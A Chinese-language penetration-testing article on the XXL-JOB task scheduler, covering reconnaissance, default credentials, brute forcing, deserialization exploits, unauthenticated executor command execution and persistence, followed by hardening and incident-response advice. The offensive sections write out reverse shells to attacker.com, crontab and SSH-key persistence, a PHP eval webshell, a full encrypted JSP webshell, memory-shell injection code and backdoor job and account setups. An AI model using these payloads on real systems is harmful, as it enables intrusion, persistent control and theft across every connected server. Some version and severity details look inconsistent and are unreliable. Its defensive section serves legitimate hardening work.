XXL-JOB 分布式任务调度平台安全攻击面深入分析
免责声明:本文仅供学习交流使用,请勿用于非法用途。进行安全测试时,请确保已获得目标系统的合法授权。
前言
XXL-JOB是大众所熟知的轻量级分布式任务调度平台,目前在GitHub上拥有极高的星标数,被众多企业广泛采用。在实际的红蓝对抗和渗透测试中,XXL-JOB相关漏洞已成为高频攻击向量。
据国家信息安全漏洞库(CNNVD)数据显示,2022-2024年XXL-JOB相关漏洞累计收录超20个,其中高危漏洞占比达65%,多起漏洞已被证实引发企业服务器沦陷、核心数据泄露等严重安全事件。
本文将深入探讨 XXL-JOB 分布式任务调度平台的攻击面,从基础架构到各版本的利用手法,再到高阶的内存马注入,干货满满。
目录
一、基础架构详解
1.1 什么是XXL-JOB
XXL-JOB是一款轻量级分布式任务调度平台,其核心设计目标是让开发者能够迅速上手、学习简单、使用轻量级且易于扩展。该平台由个人开发者许雪里创建并开源,在国内市场占有率较高,广泛应用于各类企业的定时任务调度场景。
从安全研究角度审视,XXL-JOB的架构设计使其成为一个典型的”集权系统”——调度中心一旦被攻破,攻击者可以向所有注册的执行器下发任意命令,实现批量服务器控制。
1.2 三大部分架构
XXL-JOB采用经典的分布式架构设计,由三大部分组成:
调度中心(Admin)
调度中心是XXL-JOB的Web管理后台,默认运行在8080端口。它的主要功能包括:
- 任务配置与管理:创建、编辑、删除定时任务
- 执行器注册与管理:管理所有接入的执行器节点
- 调度日志查看:记录任务执行历史和结果
- 用户权限管理:支持多用户操作
在渗透测试中,调度中心通常是外网暴露的主要目标,也是攻防对抗的主战场。
执行器(Executor)
执行器是任务的具体执行节点,默认运行在9999端口。它的核心职责是:
- 接收调度中心的执行指令
- 执行业务逻辑代码
- 回传执行结果给调度中心
执行器通常部署在内网环境,或限制为仅允许127.0.0.1访问,以减少直接暴露带来的安全风险。
核心依赖(xxl-job-core)
xxl-job-core是XXL-JOB的核心库,被调度中心和执行器共同依赖。它封装了:
- RPC通信机制:基于Jetty实现的HTTP通信
- 任务注册与发现:执行器向调度中心的注册流程
- 调度协议:任务调度的通信格式和数据结构
1.3 部署架构特点
理解XXL-JOB的部署架构对于安全评估至关重要:
调度中心的位置
调度中心作为管理后台,通常需要从外网访问,因此往往直接暴露在公网或通过Nginx反代暴露。这种部署方式使其成为外部攻击的主要突破口。
执行器的保护
执行器作为任务执行节点,通常建议部署在内网环境,配置访问白名单仅允许调度中心IP访问。但在实际部署中,由于配置复杂度和管理便利性的权衡,许多执行器存在过度暴露的问题。
后台路径识别
XXL-JOB的后台路径支持在application.properties中自定义,常见的后台路径包括:
| 常见后台路径 | 说明 |
|---|---|
/toLogin/xxl-job-admin | 标准默认路径 |
/toLogin/xxljob | 简化路径 |
/toLogin/jobManage | 常见变种 |
/toLogin/ | 极简配置 |
1.4 “集权系统”特性与安全影响
XXL-JOB被称为”集权系统”,这是安全评估中需要重点关注的特性:
集中管控带来的风险
一旦攻击者获得调度中心的访问权限,系统设计机制允许向所有注册的执行器下发命令。这意味着:
- 单点突破,全网控制:拿下调度中心即等于拿到所有执行器的”遥控器”
- 批量服务器权限:无需逐台渗透,直接通过调度中心批量执行命令
- 横向移动跳板:执行器通常部署在业务服务器,可作为内网横移的起点
攻击路径总结
1
2
3
发现调度中心 → 获取后台访问权限 →
注册恶意执行器或利用已有执行器 →
向所有执行器下发命令 → 批量获取服务器权限
二、信息收集与版本判断
2.1 常见后台路径识别
后台路径可配置性
XXL-JOB的后台管理路径是一个重要的识别特征。与其他一些中间件不同,XXL-JOB的管理后台路径并非固定不变,而是通过配置文件进行灵活配置的。
在application.properties或application.yml中,可以通过以下参数修改默认路径:
1
xxl.job.admin.mapping.path=/xxl-job-admin
常见后台路径列表
| 路径 | 出现频率 | 备注 |
|---|---|---|
/xxl-job-admin | 高 | 官方默认路径 |
/xxl-job | 中 | 简写形式 |
/job | 中 | 极简形式 |
/scheduler | 低 | 可能的变种 |
/task | 低 | 任务相关命名 |
通过FOFA等搜索引擎发现目标
1
2
3
4
5
6
7
8
# 搜索包含特定错误信息的XXL-JOB实例
"invalid request, HttpMethod not support"
# 搜索管理后台
title="XXL-JOB"
# 结合协议和端口
protocol="http" && city="Shanghai" && title="XXL-JOB"
2.2 版本判断技巧
页面底部版本信息
最直接的方式是查看页面底部的版本信息。XXL-JOB默认会在管理页面底部显示版本号:
1
XXL-JOB v2.3.0
但需要注意以下几点:
- 管理员可能删除了版本信息:通过修改前端代码移除版本显示
- 静态资源缓存:即使升级了版本,用户端可能仍然显示旧版本
- CDN缓存:使用CDN时,页面可能不是实时从源站获取的
接口特征识别
| 版本 | 响应特征 |
|---|---|
| 2.0.x | 返回字段较少,无任务配置详情 |
| 2.1.x | 开始包含更多任务配置信息 |
| 2.2.x | 增加任务告警配置字段 |
| 2.3.x | 增加更多执行参数配置 |
认证失败时的报错差异
1
2
3
4
5
# 2.2.0及以下版本
{"code": 500, "msg": "invalid username, password"}
# 2.3.0及以上版本
{"code": 500, "msg": "invalid username, password, matching: 403"}
2.3 指纹识别
核心FOFA指纹
1
2
3
4
5
6
7
8
# 错误信息指纹(最准确)
"invalid request, HttpMethod not support"
# 管理页面标题指纹
title="XXL-JOB" || title="分布式任务调度平台"
# 管理页面关键字指纹
body="xxl-job-admin" || body="执行器管理"
其他识别特征
XXL-JOB管理后台引用了一些静态资源,通过这些资源的特征可以进行识别:
1
2
<link rel="stylesheet" href="/static/adminlte/dist/css/AdminLTE.css">
<script src="/static/js/xxl-job.js"></script>
2.4 资产收集方法
关键配置文件
1
2
3
4
5
6
7
8
9
# 数据库配置(默认使用H2数据库)
xxl.job.admin.database.source.driver=com.mysql.cj.jdbc.Driver
xxl.job.admin.database.source.url=jdbc:mysql://127.0.0.1:3306/xxl_job
xxl.job.admin.database.source.username=root
xxl.job.admin.database.source.password=root
# 默认账号密码
xxl.job.admin.username=admin
xxl.job.admin.password=123456
常见默认凭证
| 环境 | 用户名 | 密码 |
|---|---|---|
| 管理后台 | admin | 123456 |
| 管理后台 | admin | admin123 |
| H2数据库 | sa | (空密码) |
| MySQL(源码) | root | root |
Github搜索技巧
1
2
3
4
5
6
7
8
# 搜索泄露的凭证
XXL-JOB password admin
# 搜索生产环境配置
XXL-JOB application-prod.properties
# 搜索内网地址暴露
XXL-JOB 192.168. OR XXL-JOB 10.0.0
三、调度中心攻击面
3.1 后台弱口令爆破
默认账号风险
XXL-JOB在首次部署时并未强制用户在安装过程中修改默认密码,这为攻击者提供了可乘之机。通过实战经验积累,以下是常见的XXL-JOB默认凭据:
| 版本 | 默认用户名 | 默认密码 |
|---|---|---|
| 全版本 | admin | 123456 |
| 全版本 | admin | xxl_job |
| 部分定制版 | admin | admin |
| 部分定制版 | guest | guest |
爆破思路与注意事项
第一步,寻找后台入口:
1
2
3
4
5
# 使用Nmap进行路径探测
nmap --script=http-enum -p 8080 target.com
# 使用ffuf进行目录爆破
ffuf -u http://target.com:8080/FUZZ -w directory-list-2.3-medium.txt
第二步,登录接口分析:
1
2
3
4
5
POST /xxl-job-admin/login HTTP/1.1
Host: target.com:8080
Content-Type: application/x-www-form-urlencoded
userName=admin&password=123456
第三步,爆破策略:
- 控制爆破频率,避免触发IP封禁
- 完善用户名猜测,默认用户名
admin命中率较高 - 关注密码喷洒,用少量常见密码去尝试大量用户名
推荐工具:
1
2
# 使用Hydra进行分布式爆破
hydra -L users.txt -P passwords.txt target.com http-post-form "/login:userName=^USER^&password=^PASS^:F=code"
登录后利用
成功获取管理员权限后,攻击者可以做以下事情:
- 查看所有执行器节点列表,获取内网拓扑信息
- 创建恶意任务并下发到指定执行器
- 修改现有任务的执行逻辑,植入后门
- 查看任务执行日志,可能包含敏感信息
- 获取执行器的注册凭证(accessToken)
3.2 Hessian反序列化漏洞
漏洞原理
Hessian是一种轻量级的二进制序列化协议,与Java原生序列化相比,它具有跨语言支持、序列化效率高等优点,被广泛应用于Web服务间的通信。然而,Hessian反序列化过程中存在严重的安全风险,当反序列化来自不可信来源的数据时,攻击者可以构造恶意序列化数据,在目标服务器上执行任意代码。
在XXL-JOB调度中心中,部分API接口使用了Hessian进行数据序列化与反序列化处理。攻击者只需构造包含恶意类引用的Hessian序列化数据,即可触发反序列化漏洞。
关键类:JdkSerializeTool
com.xxl.job.core.util.JdkSerializeTool是XXL-JOB中实现Java序列化的工具类。虽然名字标注为”Jdk”,但实际使用场景中,该类的序列化功能被用于任务参数的传递。当调度中心向执行器下发任务时,任务参数会经过序列化后传输,如果在这个过程中存在反序列化点,攻击者就可以利用构造好的恶意序列化数据实施攻击。
影响版本
| 版本范围 | 风险等级 | 说明 |
|---|---|---|
| XXL-JOB <= 2.1.0 | 极高 | 直接支持Hessian反序列化,无防护 |
| XXL-JOB 2.1.1 - 2.1.2 | 高 | 存在绕过可能 |
| XXL-JOB 2.2.0+ | 中 | 默认启用RESTful API,Hessian使用减少 |
| XXL-JOB >= 2.3.0 | 低 | 官方增加了一定的安全过滤 |
利用步骤
第一步,确认漏洞存在:
1
2
3
4
5
# 探测API接口
curl http://target.com:8080/xxl-job-admin/api
# 检查是否存在Hessian端点
curl http://target.com:8080/xxl-job-admin/api/jobinfo
第二步,构造恶意Payload:
1
2
# 使用marshalsec生成Hessian Payload(针对CommonsCollections6链)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian CommonsCollections6 "bash -i >& /dev/tcp/attacker.com/4444 0>&1" > payload.ser
第三步,发送攻击请求:
1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
url = "http://target.com:8080/xxl-job-admin/api/jobinfo"
headers = {
"Content-Type": "x-application/hessian",
"XXL-JOB-ACCESS-TOKEN": "your_token_if_needed"
}
with open('payload.ser', 'rb') as f:
payload = f.read()
response = requests.post(url, data=payload, headers=headers)
print(response.status_code, response.text)
3.3 API接口漏洞
水平越权漏洞
XXL-JOB的API接口设计中存在一些典型的权限控制缺陷:
任务执行器节点信息泄露:
1
GET /xxl-job-admin/api/jobgroup?start=0&length=100
正常情况下这个接口可能需要管理员权限,但如果存在未授权访问,攻击者可以获取所有执行器的注册信息。
任务日志信息泄露:
1
GET /xxl-job-admin/api/joblog/logDetailCat?id={task_id}
这些日志信息不仅可以帮助攻击者了解系统的内部运作逻辑,还可能包含数据库连接字符串、API密钥等敏感凭据。
API未授权访问
XXL-JOB部分版本在默认配置下存在API接口未授权访问的问题。具体来说:
- 当
xxl.job.accessToken配置项为空或未设置时,执行器可以无需认证即可注册到调度中心 - 部分管理API接口缺少权限验证,允许未授权访问
3.4 实战利用思路
通过调度中心下发恶意任务
当成功获取调度中心的管理员权限后,攻击者获得了对整个任务调度集群的完全控制权。
利用步骤:
- 编写恶意代码:选择一个执行器上存在且可被反序列化攻击利用的gadget链
- 注册恶意执行器:如果内网中不存在可被利用的执行器,攻击者可以部署一个自己的执行器并注册到目标调度中心
- 创建恶意任务:在调度中心后台创建新任务,配置执行器为恶意执行器
- 触发任务执行:手动触发任务或等待定时任务自动执行
命令执行的各种姿势
姿势一:任务脚本命令执行:
1
2
3
4
5
6
7
8
9
10
@XxlJob("commandExectorJob")
public ReturnT<String> commandExecutor(String param) {
String command = param;
try {
Process process = Runtime.getRuntime().exec(command);
return new ReturnT<>(ReturnT.SUCCESS_CODE, "命令执行成功");
} catch (Exception e) {
return new ReturnT<>(ReturnT.FAIL_CODE, e.getMessage());
}
}
姿势二:文件写入与计划任务:
1
2
3
4
5
# Linux环境
echo "0 0 * * * /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1" >> /etc/crontab
# 写入SSH公钥实现SSH登录
echo "ssh-rsa AAAAB3..." >> /root/.ssh/authorized_keys
姿势三:内网横向移动:
获得调度中心的控制权后,可以利用它作为跳板机进行内网横向渗透:
- 端口扫描:通过调度中心向内网其他主机下发端口扫描任务
- 凭据窃取:在执行器上部署凭据窃取模块
- 建立隐蔽通道:在获得内网主机权限后,建立持久化的隐蔽通道
四、执行器攻击面
4.1 /run接口未授权访问(<=2.2.0版本)
漏洞原理
执行器的核心接口/run用于接收调度中心的任务触发请求。在<=2.2.0的版本中,执行器默认没有配置任何认证机制,任何能够访问该端口的攻击者都可以直接调用该接口,触发目标服务器执行任意命令。
影响版本范围
| 版本范围 | 漏洞类型 |
|---|---|
| <= 2.1.2 | RESTful API未授权访问 + Hessian反序列化RCE |
| 2.2.0 - 2.2.x | RESTful API未授权访问(移除Hessian协议) |
利用方法
直接向执行器的/run接口发送HTTP POST请求,构造任务参数实现命令执行:
1
2
3
curl -X POST http://target:9999/run \
-H "Content-Type: application/json" \
-d '{"jobId":1,"executorHandler":"test","executorParams":"whoami"}'
4.2 AccessToken默认配置绕过
默认AccessToken值
XXL-JOB在引入AccessToken认证机制时,预设了默认值为default_token。许多管理员在部署时直接使用默认值或忽略该配置项,导致认证机制形同虚设。
1
xxl.job.accessToken=default_token
利用方法
攻击者只需在请求头中添加正确的Token即可绕过认证:
1
XXL-JOB-ACCESS-TOKEN: default_token
相关漏洞编号
- XVE-2023-17224:XXL-JOB 默认AccessToken身份绕过
- XVE-2023-21328:同系列默认配置绕过问题
FOFA指纹
当AccessToken校验失败时,服务端会返回固定错误信息,可用于批量识别:
1
"invalid request, HttpMethod not support"
4.3 命令执行与Shell反弹
通过执行器直接执行系统命令
获取执行器访问权限后,可利用任务调度的灵活性实现命令执行。常见场景:
- 在调度中心添加一个新建任务,任务处理器选择”GLUE模式”,编写Groovy脚本执行系统命令
- 直接调用API接口,通过
executorHandler和executorParams传递命令
各种反弹Shell方法
| 场景 | 反弹方式 |
|---|---|
| Linux目标 | bash -i >& /dev/tcp/attacker/port 0>&1 |
| Windows目标 | powershell -e 编码命令 |
| Python环境 | python -c 'import socket,os...' |
不出网场景的利用思路
当目标无法访问外网时,可考虑以下方案:
- 写入WebShell:将恶意脚本写入可访问的Web目录
1
echo "<?php eval($_POST['cmd']);?>" > /var/www/html/shell.php
- 绑定业务接口:将Shell绑定到内网可访问的业务端口
- 利用本地NC:目标存在
nc等工具时,可让目标主动连接内网其他服务 - 分阶段Payload:先执行信息收集命令,确认出网情况后再调整策略
4.4 CVE-2024-3366 注入漏洞
漏洞位置
1
com.xxl.job.core.util.JdkSerializeTool.deserialize()
漏洞原理
JdkSerializeTool类的deserialize()方法负责反序列化任务模板数据。当执行器处理来自调度中心的任务请求时,如果攻击者能够控制模板数据的内容,可以注入恶意序列化对象。由于Java原生反序列化缺乏安全防护,恶意数据反序列化后将执行任意代码。
该漏洞CVSS评分为3.5,属于中危漏洞。
五、历史版本漏洞利用(2.0以下版本)
5.1 版本特点分析
2.0以下版本的技术特征
XXL-JOB在2.0版本之前采用了传统的WAR包部署模式,这与后续版本的Spring Boot嵌入式部署方式存在显著差异:
| 特性 | 2.0以下版本 | 2.0及以上版本 |
|---|---|---|
| 部署方式 | WAR包 + Tomcat | Spring Boot JAR |
| JSP支持 | 支持 | 不支持 |
| Webshell写入 | 可写入JSP马 | 需写入其他类型 |
| 目录结构 | 固定于webapps | 取决于启动位置 |
部署架构分析
2.0以下版本的典型部署架构如下:
1
2
3
4
5
6
7
8
9
Tomcat_HOME/
├── webapps/
│ └── xxl-job-admin/
│ ├── WEB-INF/
│ │ ├── web.xml
│ │ └── classes/
│ └── index.jsp
└── conf/
└── server.xml
这种部署模式意味着调度中心实际上运行在一个标准的Tomcat容器中,而Tomcat原生支持JSP文件的解析和执行。
5.2 利用前提条件
成功利用此攻击链需要满足以下条件:
- 获取调度中心权限
- 弱口令登录成功(admin/123456)
- 通过其他漏洞获取代码执行能力
- 目标环境确认
- 目标使用Tomcat部署XXL-JOB WAR包
- Tomcat服务拥有webapps目录的写入权限
- 出网访问
- 目标服务器能够访问攻击者控制的服务器
- 用于下载Webshell或建立反弹连接
5.3 目录遍历与Webshell写入
第一步:定位webapps目录
方法一:暴力遍历常见路径:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import java.io.File;
public class PathScanner {
public static void main(String[] args) {
String[] commonPaths = {
"/var/lib/tomcat/webapps/",
"/usr/local/tomcat/webapps/",
"/opt/tomcat/webapps/",
"/tomcat/webapps/",
"C:/Program Files/Apache Software Foundation/Tomcat/webapps/",
System.getProperty("catalina.base") + "/webapps/",
System.getProperty("catalina.home") + "/webapps/"
};
for (String path : commonPaths) {
File dir = new File(path);
if (dir.exists() && dir.isDirectory()) {
System.out.println("[FOUND] " + path);
}
}
}
}
方法二:通过代码确认环境:
1
2
3
4
5
// 检查Tomcat相关目录
String catalinaBase = System.getProperty("catalina.base");
String catalinaHome = System.getProperty("catalina.home");
System.out.println("Catalina Base: " + catalinaBase);
System.out.println("Catalina Home: " + catalinaHome);
第二步:写入哥斯拉Webshell
一旦定位到webapps目录,即可写入JSP Webshell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*,java.io.*,java.security.*" %>
<%!
class U extends ClassLoader {
U(ClassLoader c) { super(c); }
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] k(String s) throws Exception {
byte[] rawKey = s.getBytes();
MessageDigest sha = MessageDigest.getInstance("SHA-256");
rawKey = sha.digest(rawKey);
byte[] key = new byte[16];
System.arraycopy(rawKey, 0, key, 0, 16);
return key;
}
%>
<%
try {
String k = "t00ls"; // 连接密码
String sessionKey = request.getParameter(k);
if (sessionKey != null) {
session.setAttribute("u", sessionKey);
out.print(j(k.getBytes()));
return;
}
sessionKey = (String) session.getAttribute("u");
if (sessionKey == null) return;
Cookie c = request.getCookies();
if (c == null) return;
byte[] key = k(sessionKey);
byte[] iv = Base64.getDecoder().decode(c.getValue());
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(2, new SecretKeySpec(key, "AES"), new IvParameterSpec(iv));
byte[] data = cipher.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
String task = new String(data, "UTF-8");
Process p = Runtime.getRuntime().exec(task);
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
StringBuilder sb = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
sb.append(line).append("\n");
}
byte[] response = sb.toString().getBytes("UTF-8");
byte[] encrypted = cipher.doFinal(response);
String encoded = new sun.misc.BASE64Encoder().encode(encrypted);
String ivEncoded = new sun.misc.BASE64Encoder().encode(iv);
response.setContentType("application/octet-stream");
response.setHeader("Content-Encoding", ivEncoded);
out.print(encoded);
}
catch(Exception e) {
e.printStackTrace();
}
%>
5.4 完整利用链总结
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌─────────────────┐
│ 获取调度中心权限 │
│ (弱口令/漏洞) │
└────────┬────────┘
│
▼
┌─────────────────┐
│ 代码执行能力 │
│ (GLUE任务/API) │
└────────┬────────┘
│
▼
┌─────────────────┐
│ 定位webapps目录 │
│ (暴力遍历) │
└────────┬────────┘
│
▼
┌─────────────────┐
│ 写入JSP Webshell │
│ (哥斯拉冰蝎等) │
└────────┬────────┘
│
▼
┌─────────────────┐
│ 持久化控制 │
│ (冰蝎连接) │
└─────────────────┘
六、高级攻防技巧
6.1 内存马注入技术
原理简介
内存马,也称为无文件马,是一种将恶意代码驻留在服务器内存中而非文件系统的攻击技术。由于传统WebShell需要写入磁盘,容易被安全检测工具发现,而内存马则直接注入到正在运行的JVM进程中,隐蔽性极高。
XXL-JOB执行器环境下的内存马注入
XXL-JOB执行器本质上是一个基于Spring Boot的Web应用,运行在Tomcat或Jetty等Servlet容器中。这意味着我们可以利用Java Servlet API的Filter和Listener机制来实现内存马注入。
在执行器启动后,其内部维护着一系列的Filter和Servlet组件。当我们通过某种方式获取了执行器的代码执行能力后,可以尝试动态注册一个恶意的Filter到当前的ServletContext中。
注入步骤
- 获取ApplicationContext:从Spring容器中获取当前的ApplicationContext实例
- 获取ServletContext:通过ApplicationContext获取ServletContext
- 注册恶意Filter:构造一个继承自Filter接口的恶意类,调用addFilter方法注册
- 建立控制通道:Filter型内存马通常检查请求参数或请求头中的特定标记
1
2
3
4
5
// 核心注入逻辑
ApplicationContext context = SpringHelper.getContext();
ServletContext servletContext = context.getServletContext();
FilterRegistration.Dynamic filter = servletContext.addFilter("EvilFilter", EvilFilter.class);
filter.addMappingForUrlPatterns(EnumSet.of(REQUEST, FORWARD, INCLUDE, ERROR), true, "/*");
Spring Boot环境下的内存马注入方法
Spring Boot环境为内存马注入提供了一些独特的便利条件:
方法一:利用BeanFactory动态注册Bean:
1
2
DefaultListableBeanFactory beanFactory = (DefaultListableBeanFactory) context.getBean("&beanFactory");
beanFactory.registerBeanDefinition("evilBean", new RootBeanDefinition(EvilClass.class));
方法二:利用Tomcat专属API:
1
2
TomcatEmbeddedServletContainerFactory factory = context.getBean(TomcatEmbeddedServletContainerFactory.class);
factory.addContextValves(new EvilValve());
6.2 权限维持方法
后门账号创建
获取调度中心管理员权限后,创建后门账号是最直接也是最有效的权限维持手段之一:
1
2
3
4
5
6
7
POST /xxl-job-admin/api/user/add
{
"username": "system_monitor",
"password": "encrypted_password",
"role": 1,
"permission": 0
}
计划任务维持权限
将恶意代码伪装成正常的业务逻辑,嵌入到已有的定时任务中:
1
2
3
4
5
6
7
8
9
10
11
12
@XxlJob("dailyReportJob")
public ReturnT<String> dailyReport(String param) {
// 正常的报表生成逻辑...
// 隐蔽的后门:每天凌晨2点执行一次保骚命令
Calendar cal = Calendar.getInstance();
if (cal.get(Calendar.HOUR_OF_DAY) == 2) {
// 下载并执行下一阶段载荷
}
return ReturnT.SUCCESS;
}
WebShell隐藏技巧
- 文件名迷惑性:避免使用
shell.jsp、cmd.jsp这类一看就很明显的名字 - 存储位置:放在静态资源目录、临时文件目录等角落
- 多层后门策略:真正的控制端不应该直接连接,而是通过几层跳转
6.3 绕过AccessToken认证
默认Token的利用
xxl.job.accessToken是XXL-JOB提供的用于确保调度中心与执行器通信安全的关键配置项。根据XXL-JOB官方文档,该配置项默认为空值。
在实际企业部署中,由于安全意识不足或配置文档不完善,相当一部分XXL-JOB执行器实例的accessToken保持为空值状态。
探测accessToken是否为空的方法很简单:直接尝试发送任务调度请求,观察返回结果。
Token枚举和爆破
当accessToken配置为非空值但强度较弱时,可以考虑进行Token枚举攻击。为了提高效率,可以先通过信息收集获取一些可能的Token候选值。例如,从GitHub泄露的源码中可能找到XXL-JOB的配置文件。
6.4 实战攻防思路总结
信息收集阶段
- 调度中心地址的发现:常见端口扫描、目录爆破、搜索引擎
- 版本识别:页面源码、API响应、错误信息
- 安全配置检查:accessToken是否配置、默认口令是否修改
漏洞利用阶段
- 未修改默认口令:弱口令爆破是最直接的方式
- 存在反序列化漏洞:构造恶意序列化payload来执行代码
- 获得代码执行能力后:优先考虑反弹Shell,如果目标环境是内网,可以先建立代理通道
横向移动
XXL-JOB调度中心通常管理着多个执行器节点,获得调度中心权限后,可以向所有执行器同时下发恶意任务,实现对整个执行器集群的控制。
七、防御建议与安全配置
7.1 安全配置建议
修改默认AccessToken
强密码生成规范:
| 要求 | 说明 |
|---|---|
| 长度 | 至少32位 |
| 字符集 | 大小写字母 + 数字 + 特殊字符 |
| 随机性 | 使用密码学安全的随机数生成器 |
| 唯一性 | 每个环境使用不同的Token |
1
2
# 使用OpenSSL生成强密码
openssl rand -base64 32
配置步骤:
1
2
3
4
5
6
# 调度中心端
xxl.job.accessToken=随机生成的32位字符串
# 执行器端(需与调度中心一致)
xxl.job.admin.addresses=http://调度中心地址:8080/xxl-job-admin
xxl.job.accessToken=与调度中心配置相同的令牌
修改默认后台密码
1
2
3
4
5
6
密码复杂度要求:
- 最小长度: 12位
- 必须包含: 大写字母(A-Z)
- 必须包含: 小写字母(a-z)
- 必须包含: 数字(0-9)
- 必须包含: 特殊字符(!@#$%^&*)
网络访问控制
1
2
3
4
5
6
7
8
9
10
11
12
13
# 使用nginx进行访问控制
server {
listen 80;
server_name xxl-job.internal.com;
location / {
allow 10.0.0.0/8;
allow 192.168.0.0/16;
deny all;
proxy_pass http://127.0.0.1:8080;
}
}
HTTPS配置
1
2
3
4
5
# application.properties
server.ssl.key-store=classpath:keystore.p12
server.ssl.key-store-password= keystore_password
server.ssl.keyStoreType=PKCS12
server.ssl.key-alias=xxljob
7.2 漏洞修复方案
版本升级路径
| 版本范围 | 安全评级 | 主要安全修复 |
|---|---|---|
| 2.0.x 及以下 | 极高风险 | 存在多个未修复的高危漏洞 |
| 2.1.0 - 2.1.2 | 高风险 | Hessian反序列化未完全修复 |
| 2.2.0 - 2.2.3 | 中风险 | 部分API安全增强 |
| 2.3.0 - 2.3.1 | 低风险 | 新增安全过滤机制 |
| 2.4.0+ | 相对安全 | 持续安全加固中 |
升级前的准备工作
1
2
3
4
5
6
7
8
9
# 1. 完整备份
## 备份数据库
mysqldump -u root -p xxl_job > xxl_job_backup_$(date +%Y%m%d).sql
## 备份配置文件
cp -r /path/to/xxl-job-admin/config ./config_backup/
# 2. 在测试环境验证
# 3. 制定回滚方案
紧急修补措施
禁用危险接口:
1
2
3
4
5
6
7
8
9
10
11
@Configuration
public class SecurityConfig {
@Bean
public FilterRegistrationBean<ApiSecurityFilter> apiSecurityFilter() {
FilterRegistrationBean<ApiSecurityFilter> registrationBean = new FilterRegistrationBean<>();
registrationBean.setFilter(new ApiSecurityFilter());
registrationBean.addUrlPatterns("/api/*");
registrationBean.setOrder(1);
return registrationBean;
}
}
7.3 应急响应措施
如何发现被攻击
调度中心异常信号:
- 登录失败次数突然增加
- 出现非预期的管理员账号
- 任务列表中存在未知任务
- 执行器列表中出现未知节点
执行器异常信号:
- 执行器CPU/内存使用率异常升高
- 出现非预期的网络连接
- 磁盘出现未知文件
应急处置流程
第一阶段:遏制(15分钟内):
1
2
3
4
# 1. 隔离受感染节点
# 2. 临时提升安全等级
# 3. 保存现场证据
cp -r /path/to/xxl-job-admin/logs ./incident_logs_$(date +%Y%m%d%H%M%S)/
第二阶段:分析(1小时内):
1
2
3
4
5
6
# 1. 确定攻击时间范围
grep "Failed" /path/to/logs/xxl-job-admin.log | head -20
grep "Success" /path/to/logs/xxl-job-admin.log | head -20
# 2. 确认攻击入口
# 3. 评估影响范围
第三阶段:清除(2小时内):
1
2
3
4
# 1. 重置所有管理员密码
# 2. 删除攻击者创建的所有后门账号
# 3. 删除恶意任务
# 4. 清理受感染执行器
7.4 安全监控建议
必须记录的日志类型
| 日志类型 | 记录内容 | 保留周期 |
|---|---|---|
| 认证日志 | 登录/登出/失败原因 | 1年 |
| 管理操作日志 | 任务增删改、用户变更 | 6个月 |
| 执行日志 | 任务执行结果、耗时、输出 | 3个月 |
| API访问日志 | 所有API请求及响应 | 3个月 |
异常任务检测规则
| 检测类型 | 规则描述 | 严重级别 |
|---|---|---|
| 执行时长异常 | 当前执行时长超过历史平均值的5倍 | 警告 |
| 执行频率异常 | 任务在短时间内的执行次数超过预期 | 严重 |
| 执行时段异常 | 在非预定时间执行 | 警告 |
告警响应SLA
| 告警级别 | 响应时间 | 处理时限 |
|---|---|---|
| 紧急(Critical) | 5分钟内 | 1小时内 |
| 高(High) | 15分钟内 | 4小时内 |
| 中(Medium) | 30分钟内 | 24小时内 |
| 低(Low) | 2小时内 | 72小时内 |
八、总结
XXL-JOB作为企业广泛使用的分布式任务调度平台,其安全性至关重要。通过本文的深入分析,我们可以总结出以下关键点:
攻击者视角
集权系统特性:调度中心是整个任务调度系统的核心入口,一旦被攻破,可以向所有执行器下发恶意任务,实现对整个集群的控制。
- 常见攻击路径:
- 弱口令爆破(admin/123456)
- Hessian反序列化漏洞利用
- AccessToken默认配置绕过
- API接口未授权访问
- 高危场景:拿下调度中心往往意味着可以批量获取服务器权限,这是XXL-JOB”集权”特性带来的最大安全风险。
防御者视角
- 基础安全配置:
- 修改默认AccessToken为强密码
- 修改默认后台密码
- 网络访问控制
- HTTPS配置
版本管理:及时升级到最新版本,关注官方安全公告
监控告警:建立完善的日志审计和异常检测机制
- 应急响应:制定详细的应急响应流程,定期演练
红队研究者视角
在进行内网渗透时,如果发现XXL-JOB调度中心,应优先尝试获取其控制权。它不仅可以帮助获取内网拓扑信息,还可以作为横向移动的跳板,实现对多个执行器节点的控制。
推荐工具:
- xxl-job-exploit:XXL-JOB漏洞利用工具
- marshalsec:Hessian反序列化Payload生成
- ysoserial:Java反序列化Payload生成
在实际的安全研究和渗透测试中,我们应该深刻理解系统的设计架构和潜在的安全风险,既要掌握攻击方法,也要懂得防御原理。只有这样,才能在攻防对抗中保持优势。
参考资源
- XXL-JOB GitHub官方仓库
- XXL-JOB官方文档
- XXL-JOB releases
- NVD XXL-JOB Vulnerability Database
- CVE-2024-3366 XXL-JOB 注入漏洞分析
- marshalsec反序列化工具
- ysoserial反序列化工具
本文仅供学习交流使用,请勿用于非法用途。进行安全测试时,请确保已获得目标系统的合法授权。
本文最后更新于:2026年3月19日